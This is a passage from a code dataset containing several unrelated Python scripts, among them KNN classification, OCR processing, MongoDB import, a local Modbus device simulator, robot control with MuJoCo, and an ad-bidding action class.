0\n best_k = 0\n best_leaf = 0\n \n # Compute distance matrix for numerical features (fixed)\n X_cat = X[cat_features]\n X_num = X[num_features]\n dist_matr_num = squareform(pdist(X_num, metric = \"euclidean\"))\n\n # Grid search on best params\n for alpha in alphas:\n \n # Compute distance matrix on categorical features (depends on alpha)\n dist_matr = alpha * squareform(pdist(X_cat, metric = \"hamming\"))\n dist_matr += dist_matr_num\n dist_matr = pd.DataFrame(dist_matr)\n \n for k in ks:\n for leaf in leafs:\n\n kf = KFold(n_splits=cv, shuffle=True)\n accs = []\n for train_index, test_index in kf.split(dist_matr):\n \n # Split in train and test\n X_train = dist_matr.iloc[train_index, train_index]\n X_test = dist_matr.iloc[test_index, train_index]\n y_train = y[train_index]\n y_test = y[test_index]\n\n # KNN on the train, compute accuracy on test\n neigh = KNeighborsClassifier(metric = 'precomputed', n_neighbors=k, n_jobs=-2, leaf_size=leaf)\n neigh.fit(X_train, y_train.ravel())\n y_pred = neigh.predict(X_test)\n\n accs.append(accuracy_score(y_test, y_pred))\n\n # Compute average accuracy and save best parameters if actual best\n avg_acc = np.mean(accs)\n if (avg_acc > best_accuracy):\n print(\"New best params found! alpha:{}, k:{}, leaf:{}, acc:{}\".format(alpha, k, leaf, avg_acc))\n best_alpha = alpha\n best_k = k\n best_accuracy = avg_acc\n best_leaf = leaf\n\n return best_alpha, best_k, best_leaf\n\n \ndef run_knn(X_train, y_train, X_test, categorical, non_categorical, group_features, alpha, k, leaf_size):\n '''Run KNN algorithm and return predictions.\n Inputs:\n - X_train, X_test (Pandas dataframe): feature matrix splitted in train and test\n - y_train (numpy array): label for train to fit the algorithm\n - categorical (list): list of categorical features\n - non_categorical (list): list of numerical, non categorical features\n - alpha (int): alpha parameter for the distance matrix\n - k (int): K parameter for the KNN\n - leaf (int): leaf size parameter for KNN\n Output: \n - y_pred_train (numpy array): predictions done on the train set\n - y_pred_test (numpy array): predictions done on the test set\n ''' \n \n # Compute Distance Matrix\n len_X_train = len(X_train)\n print(\"Computing distance matrix ...\")\n X_train_distance, X_test_distance = compute_distance_matrix(X_train.append(X_test), len_X_train, categorical, non_categorical, group_features, alpha)\n \n # Run KNN\n print(\"Calssifying training data ...\")\n neigh = KNeighborsClassifier(metric = 'precomputed', n_neighbors=k, leaf_size=leaf_size)\n neigh.fit(X_train_distance, y_train.ravel())\n \n # Make predictions\n print(\"Making predictions ...\")\n y_pred_train = neigh.predict(X_train_distance)\n y_pred_test = neigh.predict(X_test_distance)\n \n return y_pred_train, y_pred_test\n\n\ndef decode_categories(X_final_train, X_final_test, enc, encode_these):\n '''Decode categorical features from numbers to strings\n Inputs:\n - X_final_train (Pandas dataframe): final train dataset with prediction (categories as numbers)\n - X_final_test (Pandas dataframe): final train dataset with prediction (categories as numbers)\n Outputs:\n - X_final_train (Pandas dataframe): final train dataset with prediction (categories as strings)\n - X_final_test (Pandas dataframe): final train dataset with prediction (categories as strings)\n '''\n \n X_final_train.loc[:,encode_these] = \\\n enc.inverse_transform(X_final_train.loc[:,encode_these])\n \n X_final_test.loc[:,encode_these] = \\\n enc.inverse_transform(X_final_test.loc[:,encode_these])\n \n return X_final_train, X_final_test\n ","sub_path":"final_zip/src/knn/helper_knn.py","file_name":"helper_knn.py","file_ext":"py","file_size_in_byte":11840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"449313530","text":"#!/usr/bin/env python3\nimport split\nimport preprocess\nimport segment\nimport ocr\nimport compare\nimport merge\nimport sys\nfrom pathlib import Path\nimport click\nimport time\nimport tempfile\nimport urllib.request\n\nTESSDATA_PATH_BEST = Path.cwd()/'tessdata_best'\nTESSDATA_PATH_FAST = Path.cwd()/'tessdata_fast'\n\ndef process(inputFile, outputFile, languages, keepTMP, doPreprocess, doComparisson ):\n\tfullname = inputFile.name\n\tname = inputFile.stem\n\text = inputFile.suffix.lower()\n\n\ttmpPath = Path(tempfile.gettempdir(), name)\n\ttmpPathPages = Path(tmpPath, 'pages')\n\ttmpPathRegions = Path(tmpPath, 'regions')\n\n\ttmpPathPages.mkdir(parents=True, exist_ok=True)\n\ttmpPathRegions.mkdir(parents=True, exist_ok=True)\n\n\tstart = time.time();\n\tprint(\"Splitting %s - \"%name, end='')\n\tif ext == '.pdf':\n\t\tsplit.split_pages_pdf(inputFile, tmpPathPages)\n\telse:\n\t\tsplit.split_pages(inputFile, tmpPathPages)\n\tprint(\"done (%s)\"%(time.time() - start))\n\tprint(\"Preprocessing %s - \"%name, end='')\n\tpreprocess.pre_process(inputFile, languages, doPreprocess, tmpPath)\n\tprint(\"done (%s)\"%(time.time() - start))\n\tprint(\"Segmenting %s - \"%name, end=\"\")\n\tsegment.save(tmpPathPages, tmpPathRegions, languages, keepTMP)\n\tprint(\"done (%s)\"%(time.time() - start))\n\tif doComparisson:\n\t\tprint(\"OCRing %s - \"%name, end=\"\")\n\t\tocr.ocr(tmpPathRegions, languages)\n\t\tprint(\"done (%s)\"%(time.time() - start))\n\t\tprint(\"Comparing %s - \"%name, end=\"\")\n\t\tcompare.modify(tmpPathPages, tmpPathRegions, keepTMP)\n\t\tprint(\"done (%s)\"%(time.time() - start))\n\tprint(\"Merging %s - \"%name, end=\"\")\n\tmerge.merge(tmpPathPages, outputFile, keepTMP)\n\tprint(\"done (%s)\"%(time.time() - start))\n\t\n\tif not keepTMP:\n\t\tfor tmp in tmpPath.glob('**/*'):\n\t\t\tif tmp.is_file():\n\t\t\t\ttmp.unlink()\n\n\n@click.command()\n@click.argument('path', type=click.Path(exists=True))\n@click.option('--comp/--no-comp',is_flag=True,help=\"Line segmentation comparison\", default=True,show_default=True)\n@click.option('--prep/--no-prep',is_flag=True,help=\"Additional prep-processing\", default=False,show_default=True)\n@click.option('--lang', multiple=True, show_default=True, default=['eng'],help=\"Use these languages to OCR.\")\n@click.option('--force',is_flag=True,help=\"Force OCR on files already processed\", default=False,show_default=True)\n@click.option('--tmp', is_flag=True ,help=\"Keep tmp files. WARNING: It requires more free disk space\", default=False, show_default=True)\ndef main(path,lang,tmp,prep,comp,force):\n\tpath = Path(path)\n\tif path.is_file():\n\t\tfiles = [path]\n\telif path.is_dir():\n\t\tfiles = [ f for f in path.iterdir() if f.is_file() ]\n\telse:\n\t\traise Exception(\"Path argument is not a valid folder or file\")\n\t\n\t# ensure langs are installed\n\tfor l in lang:\n\t\ttry:\n\t\t\tprint(\"Downloading %s.traineddata - \"%l, end=\"\")\n\t\t\turllib.request.urlretrieve(\"https://github.com/tesseract-ocr/tessdata_best/raw/master/%s.traineddata\"%l, TESSDATA_PATH_BEST/(\"%s.traineddata\"%l))\n\t\t\turllib.request.urlretrieve(\"https://github.com/tesseract-ocr/tessdata_fast/raw/master/%s.traineddata\"%l, TESSDATA_PATH_FAST/(\"%s.traineddata\"%l))\n\t\t\tprint(\"Success\")\n\t\texcept:\n\t\t\tprint(\"Error\")\n\t\t\tpass\n\n\tfor file in files:\n\t\tfullname = file.name\n\t\tname = file.stem\n\t\text = file.suffix.lower()\n\t\t# Ignore files generated by us\n\t\tif ext == '.pdf' and '-ocr' in fullname:\n\t\t\tprint(\"Ignoring %s\"%file)\n\t\t\tcontinue\n\t\t# Ignore unhandled extensions\n\t\tif ext != '.pdf' and ext != '.tiff' and ext != '.tif':\n\t\t\tprint(\"Ignoring %s\"%file)\n\t\t\tcontinue\n\t\t\n\t\t# Check if we generated a -ocr.pdf file already\n\t\tprocessed = Path(file.parent,\"%s-ocr.pdf\"%name )\n\t\tif processed.exists():\n\t\t\tif force:\n\t\t\t\tprocessed.unlink()\n\t\t\telse:\n\t\t\t\tprint(\"Ignoring %s\"%file)\n\t\t\t\tprint(\"Use --force to restart OCR on %s\"%file)\n\t\t\t\tcontinue\n\n\t\t\n\t\tprocess(file, processed, lang, tmp, prep, comp)\n\t\t\t\t\n\t\nif __name__ == \"__main__\":\n\ttry:\n\t\tmain()\n\t\texit(0)\n\texcept Exception as e:\n\t\tprint(e)\n\t\texit(1)\n","sub_path":"workflow/exec/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"34641382","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 21 22:12:04 2017\n\n@author: AntoineP\n\"\"\"\n\nfrom pymongo import MongoClient\nimport json\nclient = MongoClient()\nclient = MongoClient('localhost', 27017)\ndb = client.tableau_de_bord\ncontenu = open(\"data3.json\",\"r\", encoding='utf8').read()\nJson = json.loads(contenu)\nposts = db.posts\nfor elem in Json:\n post_id = posts.insert_one(elem).inserted_id\npost_id","sub_path":"Insertion.py","file_name":"Insertion.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"103498873","text":"import xlrd\n\nclass ReadExcel(object):\n def __init__(self,filename,sheetname):\n self.filename = filename\n self.sheetname = sheetname\n self.sheet_data = self.get_sheet_data_bysheetname()\n\n\n #获取excel中sheet表的内容\n def get_sheet_data_bysheetname(self):\n excel_data = xlrd.open_workbook(self.filename) #打开excel文件\n sheet_data = excel_data.sheet_by_name(self.sheetname) #获取sheet表内容\n return sheet_data\n\n #获取sheet表的行数\n def get_sheet_nrows(self):\n sheet_nrows = self.sheet_data.nrows\n return sheet_nrows\n\n #获取sheet表的列数\n def get_sheet_ncols(self):\n sheet_ncols = self.sheet_data.ncols\n return sheet_ncols\n\n #获取sheet表单元格的内容\n def get_sheet_cell_value(self,row,col):\n sheet_cell_value = self.sheet_data.cell_value(row,col) #获取单元格的内容\n return sheet_cell_value\n\n #返回sheetdatalist\n def get_test_data_list(self):\n sheet_nrows = self.get_sheet_nrows()\n sheet_ncols = self.get_sheet_ncols()\n testdata = []\n testdata_medium = []\n for i in range(1, sheet_nrows): # 遍历行数\n for j in range(1, sheet_ncols): # 遍历列数\n get_cell_value = self.get_sheet_cell_value(i, j)\n testdata_medium.append(get_cell_value)\n testdata.append(testdata_medium)\n testdata_medium = []\n\n return testdata\n\n\n\nif __name__==\"__main__\":\n readexcel =ReadExcel(filename=r\"D:\\Users\\Administrator\\PycharmProjects\\merchant\\SecondChapt\\datas.xls\",sheetname=u\"登录测试用例\")\n testdatalist = readexcel.get_test_data_list()\n\n\n","sub_path":"SecondChapt/1-readexcel.py","file_name":"1-readexcel.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"583560197","text":"def dfs(node, graph, visited, cycles):\n if node in cycles:\n raise Exception\n if node in visited:\n return\n visited.add(node)\n cycles.add(node)\n\n for child in graph[node]:\n dfs(child, graph, visited, cycles)\n\n cycles.remove(node)\n\n\ngraph = {}\n\nwhile True:\n line = input()\n if line == 'End':\n break\n source, destination = line.split('-')\n\n if source not in graph:\n graph[source] = []\n\n if destination not in graph:\n graph[destination] = []\n\n graph[source].append(destination)\n\ntry:\n visited = set()\n for node in graph:\n dfs(node, graph, visited, set())\n print('Acyclic: Yes')\nexcept Exception:\n print('Acyclic: No')\n\n# Examples\n\"\"\"\n A-F\n F-D -> Acyclic: No\n D-A\n End\n\n---------------------------\n\n K-J\n J-N\n N-L -> Acyclic: Yes\n N-M\n M-I\n End\n\n---------------------------\n\n C-G\n End -> Acyclic: Yes\n\n\"\"\"","sub_path":"algorithms-with-python/graphs/cycles_graph.py","file_name":"cycles_graph.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"87398898","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nPymodbus Synchronous Server Example\n--------------------------------------------------------------------------\n\nThe synchronous server is implemented in pure python without any third\nparty libraries (unless you need to use the serial protocols which require\npyserial). This is helpful in constrained or old environments where using\ntwisted just is not feasable. What follows is an examle of its use:\n'''\n#---------------------------------------------------------------------------# \n# import the various server implementations\n#---------------------------------------------------------------------------# \nfrom pymodbus.server.sync import StartTcpServer\nfrom pymodbus.server.sync import StartUdpServer\nfrom pymodbus.server.sync import StartSerialServer\n\nfrom pymodbus.device import ModbusDeviceIdentification\nfrom pymodbus.datastore import ModbusSequentialDataBlock\nfrom pymodbus.datastore import ModbusSlaveContext, ModbusServerContext\n\nfrom pymodbus.transaction import ModbusRtuFramer\n#---------------------------------------------------------------------------# \n# configure the service logging\n#---------------------------------------------------------------------------# \nimport logging\nimport time\nlogging.basicConfig(format=time.asctime() + ' machinedetest %(name)s %(levelname)s %(message)s', filename='/var/log/modbus/modbus.log')\n#logging.FileHandler('log_ser.log')\nlog = logging.getLogger()\nlog.setLevel(logging.INFO)\n\n\ndef demandeobligatoire(question,typedem=\"text\"):\n \"\"\"\n Fonction de demande d'input obligatoire\n Oblige l'utilisater à entrer une réponse différende de '' et qui correspond au type demandé\n Elle prend en argument le texte pour le input (question)\n le type de la var à renvoyer \n Types : (typedem)\n text -> string\n int -> Entier\n + Gestion des erreur\n\n Renvoie la variable demandée (tempon)\n \"\"\"\n if typedem == \"int\":\n while 1:\n try:\n tempon = int(input(question))\n if tempon != '': break\n except:\n print(\"Veuillez entrer un nombre : \")\n else:\n while 1:\n tempon = input(question)\n if tempon != '': break\n return tempon\n\ndef affichagesignature(dico):\n for i in range(len(dico)): \n print (\"Signature = \" + i)\n print (\"VendorName = \" + dico[i]['VendorName'])\n print (\"ProductCode = \" + dico[i]['ProductCode'])\n print (\"VendorUrl = \" + dico[i]['VendorUrl'])\n print (\"ProductName =\" + dico[i]['ProductName'])\n print (\"ModelName =\" + dico[i]['ModelName'])\n print (\"MajorMinorRevision = \" + dico[i]['MajorMinorRevision'])\n print (\"\\n\")\n\n#---------------------------------------------------------------------------# \n# initialize your data store\n#---------------------------------------------------------------------------# \n# The datastores only respond to the addresses that they are initialized to.\n# Therefore, if you initialize a DataBlock to addresses of 0x00 to 0xFF, a\n# request to 0x100 will respond with an invalid address exception. This is\n# because many devices exhibit this kind of behavior (but not all)::\n#\n# block = ModbusSequentialDataBlock(0x00, [0]*0xff)\n#\n# Continuing, you can choose to use a sequential or a sparse DataBlock in\n# your data context. The difference is that the sequential has no gaps in\n# the data while the sparse can. Once again, there are devices that exhibit\n# both forms of behavior::\n#\n# block = ModbusSparseDataBlock({0x00: 0, 0x05: 1})\n# block = ModbusSequentialDataBlock(0x00, [0]*5)\n#\n# Alternately, you can use the factory methods to initialize the DataBlocks\n# or simply do not pass them to have them initialized to 0x00 on the full\n# address range::\n#\n# store = ModbusSlaveContext(di = ModbusSequentialDataBlock.create())\n# store = ModbusSlaveContext()\n#\n# Finally, you are allowed to use the same DataBlock reference for every\n# table or you you may use a seperate DataBlock for each table. This depends\n# if you would like functions to be able to access and modify the same data\n# or not::\n#\n# block = ModbusSequentialDataBlock(0x00, [0]*0xff)\n# store = ModbusSlaveContext(di=block, co=block, hr=block, ir=block)\n#\n# The server then makes use of a server context that allows the server to\n# respond with different slave contexts for different unit ids. By default\n# it will return the same context for every unit id supplied (broadcast\n# mode). However, this can be overloaded by setting the single flag to False\n# and then supplying a dictionary of unit id to context mapping::\n#\n# slaves = {\n# 0x01: ModbusSlaveContext(...),\n# 0x02: ModbusSlaveContext(...),\n# 0x03: ModbusSlaveContext(...),\n# }\n# context = ModbusServerContext(slaves=slaves, single=False)\n#\n# The slave context can also be initialized in zero_mode which means that a\n# request to address(0-7) will map to the address (0-7). The default is\n# False which is based on section 4.4 of the specification, so address(0-7)\n# will map to (1-8)::\n#\n# store = ModbusSlaveContext(..., zero_mode=True)\n#---------------------------------------------------------------------------# \nstore = ModbusSlaveContext(\n di = ModbusSequentialDataBlock(0, [17]*100),\n co = ModbusSequentialDataBlock(0, [17]*100),\n hr = ModbusSequentialDataBlock(0, [17]*100),\n ir = ModbusSequentialDataBlock(0, [17]*100))\ncontext = ModbusServerContext(slaves=store, single=True)\n\n#---------------------------------------------------------------------------# \n# initialize the server information\n#---------------------------------------------------------------------------# \n# If you don't set this or any fields, they are defaulted to empty strings.\n#---------------------------------------------------------------------------# \n\ndico = { \n 0 : \n {'VendorName':\"Schneider Electric\", \n 'ProductCode':\"A9MEM3255\", \n 'VendorUrl':\"\", \n 'ProductName':\"\", \n 'ModelName':\"Model\", \n 'MajorMinorRevision':\"1.0\"\n },\n\n 1 : \n {'VendorName':\"Schneider Electric\", \n 'ProductCode':\"BMXNOE01005\", \n 'VendorUrl':\"\", \n 'ProductName':\"\", \n 'ModelName':\"Model\", \n 'MajorMinorRevision':\"1.0\"\n },\n\n 2 : \n {'VendorName':\"Schneider Electric\", \n 'ProductCode':\"TM221CE40T\", \n 'VendorUrl':\"\", \n 'ProductName':\"\", \n 'ModelName':\"Model\", \n 'MajorMinorRevision':\"1.0\"\n },\n\n 3 : \n {'VendorName':\"Schneider Electric\", \n 'ProductCode':\"SAS TSXETY4103\", \n 'VendorUrl':\"\", \n 'ProductName':\"\", \n 'ModelName':\"Model\", \n 'MajorMinorRevision':\"1.0\"\n },\n}\n\n#print(\"Liste des signature : \")\n#-affichagesignature(dico)\n#i = demandeobligatoire(\"Quelle signature voulez vous utiliser ?\",\"int\")\ni = 0\n\nidentity = ModbusDeviceIdentification()\nidentity.VendorName = dico[i]['VendorName']\nidentity.ProductCode = dico[i]['ProductCode']\nidentity.VendorUrl = dico[i]['VendorUrl']\nidentity.ProductName = dico[i]['ProductName']\nidentity.ModelName = dico[i]['ModelName']\nidentity.MajorMinorRevision = dico[i]['MajorMinorRevision']\n\n#---------------------------------------------------------------------------#\n# run the server you want\n#---------------------------------------------------------------------------# \n# Tcp:\nlog.info(\"TcpServer START\")\nStartTcpServer(context, identity=identity, address=(\"localhost\", 502))\nlog.info(\"[ %s ] TcpServer STOP\", time.asctime())\n\n# Udp:\n#StartUdpServer(context, identity=identity, address=(\"localhost\", 502))\n\n# Ascii:\n#StartSerialServer(context, identity=identity, port='/dev/pts/3', timeout=1)\n\n# RTU:\n# StartSerialServer(context, framer=ModbusRtuFramer, identity=identity, port='/dev/ptyp0', timeout=.005, baudrate=9600)\n\n","sub_path":"modbus/Server/Serveur V0.4/v0.4.py","file_name":"v0.4.py","file_ext":"py","file_size_in_byte":7985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"279221335","text":"#!/usr/bin/python\nimport numpy as np\nimport scipy.io as sio\n\nhostname = 'chenfei'\nmodel = 'Brette'\nruns = 1000\ndatafolder = '/dyn_gain/scratch01/%s/%s/'%(hostname, model)\n\nfor tau in (5, ): \n for (thr,posNa) in ((-23,20),):\n fr = 5 \n appendix = 'tau'+str(tau)+'fr'+str(fr)+'threshold'+str(thr)+'posNa'+str(posNa)\n foldername = datafolder + appendix\n gain = []\n for i in range(1,runs+1):\n data = np.load(datafolder+appendix+'/bootstrapping/transferdata_bootstrapping_%d.npy'%(i))\n dic = data.item()\n gain.append(dic['gain'])\n \n gain_all = np.array(gain)\n gain = np.sort(gain_all, axis=0)\n bootstrapping_gain_lower = gain[int(runs*0.025)] # take the 95 percent in the middle as the confidence interval\n bootstrapping_gain_upper = gain[int(runs*0.975)]\n if thr<0:\n thr = 'n%d'%(abs(thr))\n else:\n thr = '%d'%(thr)\n data_appendix = 'tau%dfr%dthreshold%sposNa%d'%(tau, fr, thr, posNa)\n data = sio.loadmat(datafolder+'transferdata_%s.mat'%(data_appendix))\n data['bootstrapping_gain_lower_%s'%(data_appendix)] = bootstrapping_gain_lower\n data['bootstrapping_gain_upper_%s'%(data_appendix)] = bootstrapping_gain_upper\n data['gain_all'] = gain_all\n sio.savemat(datafolder+'transferdata_%s'%(data_appendix), data)\n","sub_path":"transferit/bootstrapping_step2.py","file_name":"bootstrapping_step2.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"266715292","text":"import mujoco_py\nimport numpy as np\nimport pinocchio as se3\nimport rospy\nimport kimm_hqp as hqp\nimport eigenpy\n\nfrom os.path import dirname\n\n# mujoco env\nmjmodel = mujoco_py.load_model_from_path(\"/home/ggory15/catkin_ws/src/franka_panda_description/\" +\"/robots/panda_arm_single.xml\")\nsim = mujoco_py.MjSim(mjmodel)\nviewer = mujoco_py.MjViewer(sim)\nq = sim.data.qpos[:7]\nv = sim.data.qvel[:7]\n\n# controller env\npath = \"/home/ggory15/catkin_ws/src/franka_panda_description/\"\nurdf = path + '/robots/panda_arm_l.urdf'\nvector = se3.StdVec_StdString()\nvector.extend(item for item in path)\nrobot = hqp.RobotWrapper(urdf, vector, False, False)\nmodel = robot.model\ndata = robot.data()\nna = robot.na\n\n# variable Resize\nq = sim.data.qpos[:7]\nv = sim.data.qvel[:7]\n\ntorque = np.array(np.zeros((na, 1)))\ntime = 0.0\n\n# make controller\ntsid = hqp.InverseDynamicsFormulationAccForce(\"tsid\", robot, False)\ntsid.computeProblemData(time, q, v)\n\n# make task\npostureTask = hqp.TaskJointPosture(\"task-posture\", robot)\npostureTask.setKp(5000.0 * np.array(np.ones((na, 1))))\npostureTask.setKd(2.0 * np.sqrt(5000.0) * np.ones((na, 1)) )\n\ntorqueBoundTask = hqp.TaskJointBounds(\"task-torque-bounds\", robot)\ndq_max = 1000.0 * np.ones((na, 1))\ndq_min = -dq_max\ntorqueBoundTask.setBounds(dq_min, dq_max)\n\neeTask = hqp.TaskSE3Equality(\"task-se3\", robot, \"panda_joint7\")\neeTask.setKp(1000.0 * np.ones((na, 1)))\neeTask.setKd(2.0 * np.sqrt(eeTask.Kp))\n\n# make traj\ntrajPosture = hqp.TrajectoryEuclidianConstant(\"traj_posture\")\nsamplePosture = hqp.TrajectorySample(na)\n\ntrajEE = hqp.TrajectorySE3Constant(\"traj-se3\")\nsampleEE = hqp.TrajectorySample(12, 6)\n\n# solver\nsolver = hqp.SolverHQuadProg(\"qp solver\")\nsolver.resize(tsid.nVar, tsid.nEq, tsid.nIn)\n\ntsid.addMotionTask(postureTask, 1e-2, 0, 0.)\ntsid.addMotionTask(torqueBoundTask, 1.0, 0, 0)\n\nwhile True:\n viewer.render()\n\n q_ref = np.zeros((na, 1))\n q_ref[3] = -1.57\n q_ref[5] = 3.14\n\n trajPosture.setReference(q_ref)\n samplePosture = trajPosture.computeNext()\n postureTask.setReference(samplePosture)\n\n HQPData = tsid.computeProblemData(time, q, v) \n sol = solver.solve(HQPData)\n torque = tsid.getActuatorForces(sol)\n \n for i in range(7):\n sim.data.ctrl[i] = 0.0\n \n sim.step()\n time = time + 0.001\n","sub_path":"mujoco_py_example/zero_torque.py","file_name":"zero_torque.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"16274908","text":"# Fix paths for imports to work in unit tests ----------------\n\nif __name__ == \"__main__\":\n\n from _fix_paths import fix_paths\n fix_paths()\n\n# ------------------------------------------------------------\n\n# Load libraries ---------------------------------------------\n\nfrom typing import Dict\nimport numpy as np\n\n# ------------------------------------------------------------\n\n\nclass Action(object):\n \"\"\"\n Action class with modifiers.\n\n :ivar float bid: Bid.\n :ivar dict of dict modifiers: dict of dict of modifiers. Every sub dict\n contains modifiers for a single dimension (e.g. gender, location, device etc.).\n Modifiers are expressed in a multiplicative form, e.g. +30\\% is expressed as 1.3.\n The value 1.0 denotes no modifier.\n Example: {bid=1.0, modifiers={'gender': {'F': 1.2, 'M': 1.1, 'U': 1.0}, \n 'age': {'0-19': 0.7, '30-39': 1.1, '60-69': 0.9, '50-59': 0.8, '70-*': 1.0, '20-29': 1.5, '40-49': 1.2}}}\n\n \"\"\"\n def __init__(self, bid, modifiers=None):\n \"\"\"\n\n :param bid: float\n :param modifiers: if not given, must be validated/initialized against an ActionSet\n \"\"\"\n self.bid = bid\n self.modifiers = modifiers # type: Dict[str, Dict[str, float]]\n\n def __repr__(self):\n if self.modifiers is not None:\n if isinstance(self.modifiers, dict):\n mod_truncated_dict = {k: {k2: np.round(v, 2) for k2, v in d.items()} for k, d in self.modifiers.items()}\n return \"{{bid={}, modifiers={}}}\".format(self.bid, mod_truncated_dict)\n else: # To be removed in the future after clean-up\n return \"{{bid={}, modifiers={}}}\".format(self.bid, [[np.round(v, 2) for v in l] for l in self.modifiers])\n else: # when modifier is unspecified\n return \"{{bid={}, modifiers={}}}\".format(self.bid, \"None\")\n\n\nclass ActionSet(object):\n \"\"\"\n Action Set class\n\n provides validator for action\n \"\"\"\n\n MOD_DEF_VALUE = 1.0 # default value for modifiers in validify_action\n\n def __init__(self, attr_set, max_bid, min_bid, max_mod, min_mod):\n \"\"\"\n\n :param attr_set: Attribute set object\n :param max_bid: max possible base bid value\n :param min_bid: min possible base bid value\n :param max_mod: max possible modifier value\n :param min_mod: min possible modifier value\n \"\"\"\n self.attr_set = attr_set\n self.max_bid = max_bid\n self.min_bid = min_bid\n self.max_mod = max_mod\n self.min_mod = min_mod\n\n def validify_action(self, a, in_place=False):\n \"\"\" initialize action as a valid form to the action set.\n\n implementation: fills all missing modifiers to ActionSet.MOD_DEF_VALUE to create a \"valid\" action\n DOES NOT remove unnecessary modifiers not defined in self.attr_set.attr_names\n\n :param Action a: Action.\n :param bool in_place: if True, param a is modified in-place. Otherwise, a new Action object is returned\n :return: A valid action object, if in_place=False (default); None, otherwise (argument a is updated in-place)\n \"\"\"\n assert isinstance(a, Action) # TODO exception handling\n\n new_mods = {}\n for k in self.attr_set.attr_names:\n new_mod = {k2: ActionSet.MOD_DEF_VALUE for k2 in self.attr_set.attr_sets[k]}\n if a.modifiers is not None and k in a.modifiers.keys():\n new_mod.update(a.modifiers[k])\n new_mods[k] = new_mod\n\n if in_place:\n a.modifiers = new_mods\n return None\n else:\n return Action(bid=a.bid, modifiers=new_mods)\n\n def is_valid(self, a):\n \"\"\"\n returns true if the given action a is \"valid\" according to this ActionSet\n Validity check\n - bid modifiers are defined for all attributes defined by self.attr_set\n - bid modifiers result in valid bids for all attributes defined by self.attr_set\n :param a: Action\n :return: True, None if valid\n False, str if invalid. The second str explains the reason why invalid\n \"\"\"\n base_bid = a.bid\n mod_lists = a.modifiers\n attr_names = self.attr_set.attr_names\n if not len(mod_lists) == len(attr_names):\n return False, \"modifier list's length not matching attribute names\" # number of attribute names mismatch\n\n if not self.min_bid <= base_bid:\n return False, \"base bid less than min_bid\"\n if not base_bid <= self.max_bid:\n return False, \"base bid greater than max_bid\"\n\n for k in attr_names:\n try:\n mods = a.modifiers[k]\n except KeyError:\n return False, \"modifier does not have key {} defined\".format(k)\n mod_list = []\n seg_names = self.attr_set.attr_sets[k]\n for k2 in seg_names:\n try:\n mod_list.append(mods[k2])\n except KeyError:\n return False, \"modifier for {} does not have segment {} defined\".format(k, k2)\n\n if not all([self.min_mod <= m for m in mod_list]):\n return False, \"mod value less than min_mod \" # min_mod violated\n if not all([m <= self.max_bid for m in mod_list]):\n return False, \"mod value greater than max_mod\" # max_mod violated\n\n return True, None\n\n\nif __name__ == \"__main__\":\n\n # from simulator.attribute import AttrSet\n\n import attribute\n\n # sample attrSet\n names = ['gender', 'age']\n vals = {'gender': ['M', 'F', 'U'],\n 'age': ['0-19', '20-29', '30-39', '40-49', '50-59', '60-69', '70-*']}\n attr_set = attribute.AttrSet(names, vals)\n\n act_set = ActionSet(attr_set, max_bid=9.99, min_bid=0.01, max_mod=9.0, min_mod=0.1)\n\n # valid action\n # a1 = Action(1.0, [ [1.1, 1.2, 1.0], [0.7, 1.5, 1.1, 1.2, 0.8, 0.9, 1.0] ] )\n a1 = Action(1.0, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9, '70-*': 1.0}})\n print(act_set.is_valid(a1))\n\n # invalid action: modifier not fully defined\n a2 = Action(1.0, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9}})\n print(act_set.is_valid(a2))\n\n # invalid action: less than min_bid found\n a3 = Action(0.00001, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9, '70-*': 1.0}})\n print(act_set.is_valid(a3))\n\n # invalid action: greater than max_bid found\n a4 = Action(120, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9, '70-*': 1.0}})\n print(act_set.is_valid(a4))\n\n # invalid action: greater than max_mod found\n a5 = Action(1.0, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9, '70-*': 10.0}})\n print(act_set.is_valid(a5))\n\n # invalid action: less than min_mod found\n a6 = Action(1.0, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0},\n 'age': {'0-19': 0.7, '20-29': 1.5, '30-39': 1.1, '40-49': 1.2, '50-59': 0.8, '60-69': 0.9, '70-*': 0.01}})\n print(act_set.is_valid(a6))\n\n # check __str__ form of Action\n print(a1)\n\n # sanity check for validify_action\n a_inc1 = Action(1.0) # modifier not defined\n print(a_inc1)\n a_inc2 = act_set.validify_action(a_inc1) # in_place modification of a_inc1\n print(a_inc1, a_inc2)\n\n # checking in_place flag of validify_action\n a_inc3 = 